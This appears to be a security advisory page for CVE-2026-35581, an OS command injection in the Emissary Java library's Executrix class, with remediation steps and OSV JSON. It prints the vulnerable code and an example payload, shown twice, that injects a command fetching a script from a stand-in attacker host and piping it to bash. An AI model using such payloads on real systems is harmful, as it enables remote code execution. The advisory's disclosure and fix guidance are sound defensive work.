CVE-2026-35581: Emissary Emissary Has A Command Injection Vulnerability

HIGH
Advisory Identifier: GHSA-6c37-7w4p-jg9v
CVSS 7.2
CWE-78
Published
Advisory Summary

CVE-2026-35581 is a HIGH (CVSS 7.2) emissary has a command injection vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Emissary libraries in the Maven ecosystem. The issue involves emissary has a command injection via place_name configuration in executrix. Remediation is available by upgrading affected packages to version 8.39.0.

CVE-2026-35581 at a Glance

CVE Identifier CVE-2026-35581
GHSA Identifier GHSA-6c37-7w4p-jg9v
Severity HIGH
CVSS v3.1 Base Score 7.2
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product Emissary
Package Ecosystem Maven
Published Date
Last Updated

Security Impact

CVSS: 7.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-35581

To remediate this vulnerability, upgrade all affected Emissary dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

gov.nsa.emissary:emissary fixed: 8.39.0
<dependency>
    <groupId>gov.nsa.emissary</groupId>
    <artifactId>emissary</artifactId>
    <version>8.39.0</version>
</dependency>
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

mvn dependency:tree -Dincludes=gov.nsa.emissary

How to Check if You Are Affected

To determine whether your Java application is affected by CVE-2026-35581, inspect your build dependencies using the Maven Dependency Plugin:

mvn dependency:tree -Dincludes=gov.nsa.emissary

Analyze the terminal output to locate any version of Emissary in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 8.39.0), your application is affected.

Note: The mvn dependency:tree -Dincludes=gov.nsa.emissary command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Emissary, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `Executrix` utility class constructed shell commands by concatenating configuration-derived values — including the `PLACE_NAME` parameter — with insufficient sanitization. Only spaces were replaced with underscores, allowing shell metacharacters (`;`, `|`, `$`, `` ` ``, `(`, `)`, etc.) to pass through into `/bin/sh -c` command execution. ## Details ### Vulnerable code — `Executrix.java` **Insufficient sanitization (line 132):** ```java this.placeName = this.placeName.replace(' ', '_'); // ONLY replaces spaces — shell metacharacters pass through ``` **Shell sink (line 1052–1058):** ```java protected String[] getTimedCommand(final String c) { return new String[] {"/bin/sh", "-c", "ulimit -c 0; cd " + tmpNames[DIR] + "; " + c}; } ``` ### Data flow 1. `PLACE_NAME` is read from a configuration file 2. `Executrix` applies only a space-to-underscore replacement 3. The `placeName` is used to construct temporary directory paths (`tmpNames[DIR]`) 4. `tmpNames[DIR]` is concatenated into a shell command string 5. The command is executed via `/bin/sh -c` ### Example payload ``` PLACE_NAME = "test;curl attacker.com/shell.sh|bash;x" ``` After the original sanitization: `test;curl_attacker.com/shell.sh|bash;x` (semicolons, pipes, and other metacharacters preserved) ### Impact - Arbitrary command execution on the Emissary host - Requires the ability to control configuration values (e.g., administrative access or a compromised configuration source) ## Remediation Fixed in [PR #1290](https://github.com/NationalSecurityAgency/emissary/pull/1290), merged into release 8.39.0. The space-only replacement was replaced with an allowlist regex that strips all characters not matching `[a-zA-Z0-9_-]`: ```java protected static final Pattern INVALID_PLACE_NAME_CHARS = Pattern.compile("[^a-zA-Z0-9_-]"); protected static String cleanPlaceName(final String placeName) { return INVALID_PLACE_NAME_CHARS.matcher(placeName).replaceAll("_"); } ``` This ensures that any shell metacharacter in the `PLACE_NAME` configuration value is replaced with an underscore before it can reach a command string. Tests were added to verify that parentheses, slashes, dots, hash, dollar signs, backslashes, quotes, semicolons, carets, and at-signs are all sanitized. ## Workarounds If upgrading is not immediately possible, ensure that `PLACE_NAME` values in all configuration files contain only alphanumeric characters, underscores, and hyphens. ## References - [PR #1290 — validate placename with an allowlist](https://github.com/NationalSecurityAgency/emissary/pull/1290) - Original report: GHSA-wjqm-p579-x3ww

CVE-2026-35581 Affected Emissary Versions

1 component(s)
Fixed Versions:
8.39.0
Product / Package Ecosystem Affected Versions Fixed Version
gov.nsa.emissary:emissary
Maven
< 8.39.0
8.39.0

References

Frequently Asked Questions

What is CVE-2026-35581?
CVE-2026-35581 is a security vulnerability in Emissary involving Emissary has a Command Injection via PLACE_NAME Configuration in Executrix under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which Emissary versions are affected?
Affected versions include releases prior to 8.39.0 across affected packages: gov.nsa.emissary:emissary.
What version fixes CVE-2026-35581?
Upgrading to 8.39.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is emissary affected?
Yes, gov.nsa.emissary:emissary is affected in releases prior to 8.39.0. Upgrade your dependency to 8.39.0 or later.
What is the CVSS score of CVE-2026-35581?
CVE-2026-35581 has a CVSS v3.1 base score of 7.2 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-35581?
CVE-2026-35581 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check Maven dependencies for CVE-2026-35581?
Run the dependency tree command: 'mvn dependency:tree -Dincludes=gov.nsa.emissary'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6c37-7w4p-jg9v",
  "modified" : "2026-04-08T00:12:50Z",
  "published" : "2026-04-08T00:12:50Z",
  "aliases" : [ "CVE-2026-35581" ],
  "summary" : "Emissary has a Command Injection via PLACE_NAME Configuration in Executrix",
  "details" : "## Summary\n\nThe `Executrix` utility class constructed shell commands by concatenating\nconfiguration-derived values — including the `PLACE_NAME` parameter — with\ninsufficient sanitization. Only spaces were replaced with underscores, allowing\nshell metacharacters (`;`, `|`, `$`, `` ` ``, `(`, `)`, etc.) to pass through\ninto `/bin/sh -c` command execution.\n\n## Details\n\n### Vulnerable code — `Executrix.java`\n\n**Insufficient sanitization (line 132):**\n```java\nthis.placeName = this.placeName.replace(' ', '_');\n// ONLY replaces spaces — shell metacharacters pass through\n```\n\n**Shell sink (line 1052–1058):**\n```java\nprotected String[] getTimedCommand(final String c) {\n    return new String[] {\"/bin/sh\", \"-c\", \"ulimit -c 0; cd \" + tmpNames[DIR] + \"; \" + c};\n}\n```\n\n### Data flow\n\n1. `PLACE_NAME` is read from a configuration file\n2. `Executrix` applies only a space-to-underscore replacement\n3. The `placeName` is used to construct temporary directory paths (`tmpNames[DIR]`)\n4. `tmpNames[DIR]` is concatenated into a shell command string\n5. The command is executed via `/bin/sh -c`\n\n### Example payload\n\n```\nPLACE_NAME = \"test;curl attacker.com/shell.sh|bash;x\"\n```\n\nAfter the original sanitization: `test;curl_attacker.com/shell.sh|bash;x`\n(semicolons, pipes, and other metacharacters preserved)\n\n### Impact\n\n- Arbitrary command execution on the Emissary host\n- Requires the ability to control configuration values (e.g., administrative\n  access or a compromised configuration source)\n\n## Remediation\n\nFixed in [PR #1290](https://github.com/NationalSecurityAgency/emissary/pull/1290),\nmerged into release 8.39.0.\n\nThe space-only replacement was replaced with an allowlist regex that strips all\ncharacters not matching `[a-zA-Z0-9_-]`:\n\n```java\nprotected static final Pattern INVALID_PLACE_NAME_CHARS = Pattern.compile(\"[^a-zA-Z0-9_-]\");\n\nprotected static String cleanPlaceName(final String placeName) {\n    return INVALID_PLACE_NAME_CHARS.matcher(placeName).replaceAll(\"_\");\n}\n```\n\nThis ensures that any shell metacharacter in the `PLACE_NAME` configuration\nvalue is replaced with an underscore before it can reach a command string.\n\nTests were added to verify that parentheses, slashes, dots, hash, dollar signs,\nbackslashes, quotes, semicolons, carets, and at-signs are all sanitized.\n\n## Workarounds\n\nIf upgrading is not immediately possible, ensure that `PLACE_NAME` values in all\nconfiguration files contain only alphanumeric characters, underscores, and hyphens.\n\n## References\n\n- [PR #1290 — validate placename with an allowlist](https://github.com/NationalSecurityAgency/emissary/pull/1290)\n- Original report: GHSA-wjqm-p579-x3ww",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "gov.nsa.emissary:emissary"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "8.39.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/NationalSecurityAgency/emissary/security/advisories/GHSA-6c37-7w4p-jg9v"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-35581"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/NationalSecurityAgency/emissary/pull/1290"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/NationalSecurityAgency/emissary"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-08T00:12:50Z",
    "nvd_published_at" : "2026-04-07T17:16:33Z"
  }
}